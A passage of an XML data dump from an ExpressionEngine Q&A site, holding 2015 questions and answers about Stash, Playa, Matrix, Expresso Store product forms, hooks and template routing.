time.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could help that would be great.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-01-13T14:36:07.933" Title="member_delete hook isn't deleting member after my code" Tags="|members|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28404" PostTypeId="1" AcceptedAnswerId="28418" CreationDate="2015-01-13T10:10:18.170" Score="0" ViewCount="61" Body="&lt;p&gt;I'm trying to Stash and output an entry from a channel.&#xA;Since I also need a dynamic=no menu on the left, I've been able to use a match of the {segment_2} against the url-title to dinamically display the actual entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to display, under the main content, its related entries, which are stored as matrix rows. Each related entry has a custom title, a custom bodycopy and a link to the actual entry. The link is stored in one of the Matrix fields as a Playa field. So far I've been able to achieve most of my requirements, but I can't seem to find a way to indicate the context in the get_list for the Playa. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each related entry, lists links from other rows too. So, if I get 4 related results, each result lists its link and the ones from it's siblings (3+1) too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;patologie_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;{exp:channel:entries channel=&quot;elements_patologie&quot; dynamic=&quot;no&quot;}&#xA;    {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:testo_patologia}{testo_patologia}{/stash:testo_patologia}&#xA;    {stash:url_title}{url_title}{/stash:url_title}&#xA;        {exp:stash:set_list:matrix name=&quot;matrix_link_patologia&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;            {matrix_link_patologia}&#xA;                {stash:titolo_link_patologia}{titolo_link_patologia}{/stash:titolo_link_patologia}&#xA;                {stash:testo_link_patologia}{testo_link_patologia}{/stash:testo_link_patologia}&#xA;                {exp:stash:set_list:playa parse_tags=&quot;yes&quot; name=&quot;resources&quot;}&#xA;                        {exp:playa:children col=&quot;link_patologia&quot;}&#xA;                            {stash:link_patologia}{url_title}{/stash:link_patologia}&#xA;                        {/exp:playa:children}&#xA;                {/exp:stash:set_list:playa}&#xA;            {/matrix_link_patologia}&#xA;        {/exp:stash:set_list:matrix}            &#xA;{/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&amp;lt;div class=&quot;page&quot; id=&quot;patologie&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;aside class=&quot;aside-navigation&quot;&amp;gt;&#xA;        &amp;lt;nav class=&quot;side-menu&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                {exp:stash:get_list name=&quot;patologie_list&quot;}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}&quot; class=&quot;active&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:stash:get_list}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/nav&amp;gt;&#xA;    &amp;lt;/aside&amp;gt;&#xA;&#xA;    &amp;lt;section class=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Le patologie trattate&amp;lt;/h1&amp;gt;&#xA;        {exp:stash:get_list name=&quot;patologie_list&quot; match=&quot;#^{segment_2}$#&quot; against=&quot;url_title&quot;}&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {testo_patologia}&#xA;&#xA;        &amp;lt;div class=&quot;related_entries&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                {exp:stash:get_list:matrix name=&quot;matrix_link_patologia&quot; context=&quot;{entry_id}&quot; limit=&quot;4&quot;}&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;{titolo_link_patologia}&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{testo_link_patologia} &#xA;                        {exp:stash:get_list:playa name=&quot;resources&quot;}&#xA;                        &amp;lt;a href=&quot;{link_patologia}&quot;&amp;gt;Continua&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        {/exp:stash:get_list:playa}&#xA;                &amp;lt;/li&amp;gt;&#xA;                {/exp:stash:get_list:matrix}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:stash:get_list}&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2015-01-13T17:53:22.123" Title="Stash Playa field from Matrix (context)" Tags="|matrix|playa|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28407" PostTypeId="1" AcceptedAnswerId="28409" CreationDate="2015-01-13T10:52:55.770" Score="0" ViewCount="114" Body="&lt;p&gt;I've set up an accessory section on a product page.  The accessories are being pulled in through a Playa relationship field and are displaying in a table.  I discovered an issue when I went to add an accessory to my cart and it added the main product instead which is available on the page from a side column.  On viewing the source I noticed the form tag didn't wrap the form elements including the ad to cart button, the store javascript was injected below it though.  Here is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children channel=&quot;accessories&quot; category=&quot;{category_id}&quot; sort=&quot;asc&quot; field=&quot;accs_inc&quot;} &#xA;&#xA;{exp:store:product entry_id=&quot;{entry_id}&quot; return=&quot;{segment_1}/{segment_2}/{segment_3}&quot;}&#xA;{accs_info}&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td width=&quot;60&quot;&amp;gt;&amp;lt;img src=&quot;{accs_thumb:url}&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{title}&amp;lt;br&amp;gt;&amp;lt;small&amp;gt;{sku}&amp;lt;/small&amp;gt;&amp;lt;br&amp;gt;&amp;lt;span class=&quot;label label-success&quot;&amp;gt;Included as standard&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td width=&quot;70&quot;&amp;gt;{price}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td width=&quot;80&quot;&amp;gt;&amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;item_qty&quot; name=&quot;item_qty&quot; class=&quot;input-mini&quot; value=&quot;{min_order_qty}&quot; /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td width=&quot;150&quot;&amp;gt;&amp;lt;div class=&quot;form-actions formbut&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; alt=&quot;add to cart&quot; name=&quot;submit&quot; value=&quot;add to cart&quot; class=&quot;btn btn-success pull-right&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/accs_info}&#xA;{/exp:store:product}    &#xA;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is what is served&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tbody&amp;gt;&#xA;    &amp;lt;form method=&quot;post&quot; class=&quot;store_product_form&quot;&amp;gt;&amp;lt;/form&amp;gt;&#xA;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td width=&quot;60&quot;&amp;gt;&amp;lt;img src=&quot;/images/uploads/accessories/thumbnail/PP359.png&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;Accessory kit &amp;lt;br&amp;gt;&amp;lt;small&amp;gt;PP359&amp;lt;/small&amp;gt;&amp;lt;br&amp;gt;&amp;lt;span class=&quot;label label-info&quot;&amp;gt;Reccomended&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td width=&quot;70&quot;&amp;gt;5&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td width=&quot;80&quot;&amp;gt;&amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;item_qty&quot; name=&quot;item_qty&quot; class=&quot;input-mini&quot; value=&quot;1&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td width=&quot;150&quot;&amp;gt;&amp;lt;div class=&quot;form-actions formbut&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; alt=&quot;add to cart&quot; name=&quot;submit&quot; value=&quot;add to cart&quot; class=&quot;btn btn-success pull-right&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;           &#xA;&#xA;            &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            window.ExpressoStore = window.ExpressoStore || {};&#xA;            ExpressoStore.products = ExpressoStore.products || {};&#xA;            ExpressoStore.products[8971] = {&quot;entry_id&quot;:&quot;8971&quot;,&quot;price&quot;:&quot;5.0000&quot;,&quot;weight&quot;:null,&quot;length&quot;:null,&quot;width&quot;:null,&quot;height&quot;:null,&quot;handling&quot;:null,&quot;free_shipping&quot;:&quot;0&quot;,&quot;tax_exempt&quot;:&quot;0&quot;,&quot;modifiers&quot;:[],&quot;stock&quot;:[{&quot;id&quot;:&quot;661&quot;,&quot;entry_id&quot;:&quot;8971&quot;,&quot;sku&quot;:&quot;PP359&quot;,&quot;stock_level&quot;:null,&quot;min_order_qty&quot;:null,&quot;track_stock&quot;:&quot;0&quot;,&quot;opt_values&quot;:[]}],&quot;regular_price&quot;:&quot;5.0000&quot;,&quot;sale_price&quot;:&quot;5.0000&quot;};&#xA;&#xA;        (function() {&#xA;            ExpressoStore.config = {&quot;store_currency_symbol&quot;:&quot;&quot;,&quot;store_currency_decimals&quot;:&quot;0&quot;,&quot;store_currency_thousands_sep&quot;:&quot;,&quot;,&quot;store_currency_dec_point&quot;:&quot;.&quot;,&quot;store_currency_suffix&quot;:&quot;&quot;};&#xA;            if (!ExpressoStore.scriptElement) {&#xA;                var script = ExpressoStore.scriptElement = document.createElement(&quot;script&quot;);&#xA;                script.type = &quot;text/javascript&quot;; script.defer = true;&#xA;                script.src = &quot;/themes/third_party/store/store.js?v=2.4.1&quot;;&#xA;                document.getElementsByTagName(&quot;body&quot;)[0].appendChild(script);&#xA;            }&#xA;        })();&#xA;            &amp;lt;/script&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anybody help?&lt;/p&gt;&#xA;" OwnerUserId="2704" LastActivityDate="2016-06-02T00:15:29.173" Title="Expresso Store product form tag not wrapping form content" Tags="|expresso-store|playa|expresso|product|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28408" PostTypeId="2" ParentId="28394" CreationDate="2015-01-13T11:34:57.593" Score="1" Body="&lt;p&gt;There isn't &quot;something obvious&quot; you're missing, as far as I know. I try and maintain the query string in pagination for Low Search, which ended up doing an obtuse regular expression to find/replace URLs without query strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simplest solution is to not automate it, but use something like &lt;code&gt;{pagination_url}?{current_query_string}&lt;/code&gt; in your pagination links.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-01-13T11:34:57.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28409" PostTypeId="2" ParentId="28407" CreationDate="2015-01-13T11:42:25.770" Score="0" Body="&lt;p&gt;I've fixed the issue by using the product_form tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product_form return=&quot;{segment_1}/{segment_2}/{segment_3}&quot;}                   &#xA;&amp;lt;tr&amp;gt;&#xA;{exp:playa:children channel=&quot;accessories&quot; category=&quot;{category_id}&quot; sort=&quot;asc&quot; field=&quot;accs_rec&quot;} &#xA;{exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot;}&#xA;{accs_info}&#xA;    &amp;lt;td width=&quot;60&quot;&amp;gt;&amp;lt;img src=&quot;{accs_thumb:url}&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{title}&amp;lt;br&amp;gt;&amp;lt;small&amp;gt;{sku}&amp;lt;/small&amp;gt;&amp;lt;br&amp;gt;&amp;lt;span class=&quot;label label-info&quot;&amp;gt;Reccomended&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td width=&quot;70&quot;&amp;gt;{price}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td width=&quot;80&quot;&amp;gt;&amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;items[{count}][entry_id]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&amp;lt;input type=&quot;text&quot; id=&quot;item_qty&quot; name=&quot;items[{count}][item_qty]&quot; class=&quot;input-mini&quot; value=&quot;{min_order_qty}&quot; /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;&#xA;{/accs_info}&#xA;{/exp:store:product}    &#xA;{/exp:playa:children}&#xA;&#xA;    &amp;lt;td width=&quot;150&quot;&amp;gt;&amp;lt;div class=&quot;form-actions formbut&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; alt=&quot;add to cart&quot; name=&quot;submit&quot; value=&quot;add to cart&quot; class=&quot;btn btn-success pull-right&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/exp:store:product_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2704" LastActivityDate="2015-01-13T11:42:25.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28410" PostTypeId="2" ParentId="24075" CreationDate="2015-01-13T12:30:18.873" Score="0" Body="&lt;p&gt;This is probably not the best solution, because it will just use the last sale's start and end date if there's multiple sales and discounts, but it is better than nothing and most sites will only run one sale at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In store/src/Store/Service/ProductsService.php just below the line (+- line 248)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$product-&gt;on_sale = true;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// HACK: added sale start and end date&#xA;$product-&gt;sale_start_date = isset($sale['start_date']) ? $sale['start_date'] : NULL;&#xA;$product-&gt;sale_end_date = isset($sale['end_date']) ? $sale['end_date'] : NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2015-01-13T12:30:18.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28411" PostTypeId="1" AcceptedAnswerId="28419" CreationDate="2015-01-13T13:21:39.797" Score="0" ViewCount="34" Body="&lt;p&gt;I have a playa field into an entrie for a channel written by teachers.&#xA;I'd like to prevent when a teacher uploads the same 'link' multiple time in different lessons that the 'link' is NOT shown multiple times but only once in a summery for the student &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking for a conditional like {if link == link} {/if} or would a conditional with count be in order for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:playa:parents channel=&quot;teacher&quot; status=&quot;not closed&quot;}&#xA;                    {link}&#xA;{/exp:playa:parents}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="3191" LastActivityDate="2015-01-13T16:30:00.123" Title="Playa field with the same data" Tags="|playa|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28412" PostTypeId="2" ParentId="28358" CreationDate="2015-01-13T14:20:00.857" Score="0" Body="&lt;p&gt;Do not ever mix EE code with PHP code. This not only slows down things significally, but you may easily run into unpredictable issues that will be hard to debug (like this one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're really not sure you can't achieve what you want with EE add-ons, turn your code into pure PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (ee()-&amp;gt;localize-&amp;gt;format_date('%m')==&quot;01&quot;)&#xA;{&#xA;    $date = strtotime(ee()-&amp;gt;localize-&amp;gt;format_date('%m').' -2 year');&#xA;{&#xA;    else&#xA;{&#xA;    //some more code&#xA;}    &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-01-13T14:20:00.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28413" PostTypeId="2" ParentId="28348" CreationDate="2015-01-13T14:26:17.857" Score="2" Body="&lt;p&gt;Instead of using conditional check inside your channel entries loop, consider providing &lt;strong&gt;stop_before&lt;/strong&gt; parameter to limit your entries to those created before certain date. Be aware though the parameter works with entry_date, not expiration_date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#stop-before&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#stop-before&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-01-13T14:26:17.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28414" PostTypeId="2" ParentId="28402" CreationDate="2015-01-13T14:36:07.933" Score="2" Body="&lt;p&gt;Take &lt;em&gt;return&lt;/em&gt; statement out of &lt;em&gt;} else {&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should always return member_ids that should be deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($cleared_entries)) {&#xA;    $this-&amp;gt;entry_update_del($cleared_entries, $member_id);&#xA;} else {&#xA;    return $member_ids;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($cleared_entries)) {&#xA;    $this-&amp;gt;entry_update_del($cleared_entries, $member_id);&#xA;} &#xA;return $member_ids;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-01-13T14:36:07.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28415" PostTypeId="2" ParentId="28380" CreationDate="2015-01-13T15:19:09.627" Score="0" Body="&lt;p&gt;You can use the &lt;strong&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/email/tellafriend.html#return&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;return&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; parameter on the &lt;code&gt;exp:email:tell_a_friend&lt;/code&gt; tag to specify a template you want to use as the confirmation (thank you) page. It can be any template you want, customized as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're talking about the &quot;interstitial&quot; page where a message is shown for a few seconds before redirecting, &lt;em&gt;that&lt;/em&gt; is a system message and to customize it you'll need to go to &lt;em&gt;CP &gt; Design &gt; Message Pages &gt; User Messages&lt;/em&gt; or use an add-on like &lt;a href=&quot;https://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;Custom System Messages.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-01-13T15:19:09.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28416" PostTypeId="1" CreationDate="2015-01-13T16:10:16.500" Score="0" ViewCount="88" Body="&lt;p&gt;I'm using the latest version of ExpressionEngine (2.9.2) and the latest version of WYGWAM (3.3.3). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've a Channel Form which includes the WYGWAM field and when I submit the form I receive the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: EE::$view&#xA;&#xA;Filename: libraries/File_field.php&#xA;&#xA;Line Number: 704&#xA;&#xA;Fatal error: Call to a member function head_link() on a non-object in /Users/joe/Sites/mywebsite/webroot/5ystem/expressionengine/libraries/File_field.php on line 704&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I've noticed a few things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I only receive the message if the form has validation errors, otherwise it submits fine and the record appears in the channel as expected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If I remove error_handling=&quot;inline&quot; from the form declaration then the errors are displayed fine, albeit not inline&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) If I remove the WYGWAM field then this error does not occur, even if there are/aren't validation errors and if the error_handling=&quot;inline&quot; is/isn't included&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed any light on this please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the form declaration is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;jobs&quot; author_only=&quot;yes&quot; error_handling=&quot;inline&quot; return=&quot;jobs/success&quot; class=&quot;channel-form&quot; datepicker=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1396" LastEditorUserId="1396" LastEditDate="2015-01-15T17:27:35.377" LastActivityDate="2016-06-11T03:04:45.790" Title="WYGWAM causing Undefined property: EE::$view on validation failure of Channel Form" Tags="|safecracker|wygwam|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28417" PostTypeId="1" CreationDate="2015-01-13T16:17:54.967" Score="0" ViewCount="180" Body="&lt;p&gt;I want to set the template path specifically for a subdomain - outside of the default_site templates, while still using the same site/entries/data. MSM isn't what I need here and related posts I can find just uses a template group inside of the current set of templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have the subdomain loading the site and hitting my conditional in index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($_SERVER['HTTP_HOST'] == 'sub.domain.com')&#xA;{&#xA;&#xA;    $assign_to_config['site_url'] = 'http://sub.domain.com/';&#xA;    $assign_to_config['site_name']  = 'admin';&#xA;    $assign_to_config['template_group'] = 'home';&#xA;&#xA;    $assign_to_config['global_vars'] = array(&#xA;    'subsite_id' =&amp;gt; 'admin_site',&#xA;    'domain' =&amp;gt; 'http://sub.domain.com/',&#xA;    'site_name' =&amp;gt; 'Admin Portal',&#xA;    ); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My main default_site template path resolves as &lt;code&gt;/home/site/public_html/templates/default_site&lt;/code&gt;&#xA;I want the subdomain path to use &lt;code&gt;/home/site/public_html/templates/admin_site&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a param I can add to set the template path when coming in on the subdomain? Are any edits needed to .htaccess as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2016-05-22T06:22:17.423" Title="Separate template path for a subdomain" Tags="|templates|subdomain|routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28418" PostTypeId="2" ParentId="28404" CreationDate="2015-01-13T16:22:24.800" Score="1" Body="&lt;p&gt;Try using row_id and entry_id for the context. You might also need to increase the &lt;code&gt;parse_depth&lt;/code&gt; on the outermost stash tag to &lt;code&gt;4&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;patologie_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;4&quot;}&#xA;{exp:channel:entries channel=&quot;elements_patologie&quot; dynamic=&quot;no&quot;}&#xA;    {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:testo_patologia}{testo_patologia}{/stash:testo_patologia}&#xA;    {stash:url_title}{url_title}{/stash:url_title}&#xA;        {exp:stash:set_list:matrix name=&quot;matrix_link_patologia&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;            {matrix_link_patologia}&#xA;                {stash:row_id}{row_id}{/stash:row_id}&#xA;                {stash:titolo_link_patologia}{titolo_link_patologia}{/stash:titolo_link_patologia}&#xA;                {stash:testo_link_patologia}{testo_link_patologia}{/stash:testo_link_patologia}&#xA;                {exp:stash:set_list:playa parse_tags=&quot;yes&quot; name=&quot;resources&quot; context=&quot;{row_id}-{entry_id}&quot;}&#xA;                        {exp:playa:children col=&quot;link_patologia&quot;}&#xA;                            {stash:link_patologia}{url_title}{/stash:link_patologia}&#xA;                        {/exp:playa:children}&#xA;                {/exp:stash:set_list:playa}&#xA;            {/matrix_link_patologia}&#xA;        {/exp:stash:set_list:matrix}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&amp;lt;div class=&quot;page&quot; id=&quot;patologie&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;aside class=&quot;aside-navigation&quot;&amp;gt;&#xA;        &amp;lt;nav class=&quot;side-menu&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                {exp:stash:get_list name=&quot;patologie_list&quot;}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url_title}&quot; class=&quot;active&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/exp:stash:get_list}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/nav&amp;gt;&#xA;    &amp;lt;/aside&amp;gt;&#xA;&#xA;    &amp;lt;section class=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Le patologie trattate&amp;lt;/h1&amp;gt;&#xA;        {exp:stash:get_list name=&quot;patologie_list&quot; match=&quot;#^{segment_2}$#&quot; against=&quot;url_title&quot;}&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            {testo_patologia}&#xA;&#xA;        &amp;lt;div class=&quot;related_entries&quot;&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                {exp:stash:get_list:matrix name=&quot;matrix_link_patologia&quot; context=&quot;{entry_id}&quot; limit=&quot;4&quot;}&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;{titolo_link_patologia}&amp;lt;/h3&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{testo_link_patologia} &#xA;                        {exp:stash:get_list:playa name=&quot;resources&quot; context=&quot;{row_id}-{entry_id}&quot;}&#xA;                        &amp;lt;a href=&quot;{link_patologia}&quot;&amp;gt;Continua&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        {/exp:stash:get_list:playa}&#xA;                &amp;lt;/li&amp;gt;&#xA;                {/exp:stash:get_list:matrix}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/exp:stash:get_list}&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT to add&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If each row will only ever return a single related entry then there's no need to use set_list and get_list, and you can also do away with the Playa module tag and use the simpler field tag instead. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;patologie_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;4&quot;}&#xA;    {exp:channel:entries channel=&quot;elements_patologie&quot; dynamic=&quot;no&quot;}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:testo_patologia}{testo_patologia}{/stash:testo_patologia}&#xA;        {stash:url_title}{url_title}{/stash:url_title}&#xA;            {exp:stash:set_list:matrix name=&quot;matrix_link_patologia&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;                {matrix_link_patologia}&#xA;                    {stash:row_id}{row_id}{/stash:row_id}&#xA;                    {stash:titolo_link_patologia}{titolo_link_patologia}{/stash:titolo_link_patologia}&#xA;                    {stash:testo_link_patologia}{testo_link_patologia}{/stash:testo_link_patologia}&#xA;                    {stash:link_patologia}&#xA;                        {link_patologia var_prefix=&quot;playa&quot;} {!-- playa field inside matrix --}&#xA;                           {playa:url_title}&#xA;                        {/link_patologia}&#xA;                    {/stash:link_patologia}&#xA;                {/matrix_link_patologia}&#xA;            {/exp:stash:set_list:matrix}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&amp;lt;div class=&quot;page&quot; id=&quot;patologie&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;aside class=&quot;aside-navigation&quot;&amp;gt;&#xA;        &amp;lt;nav 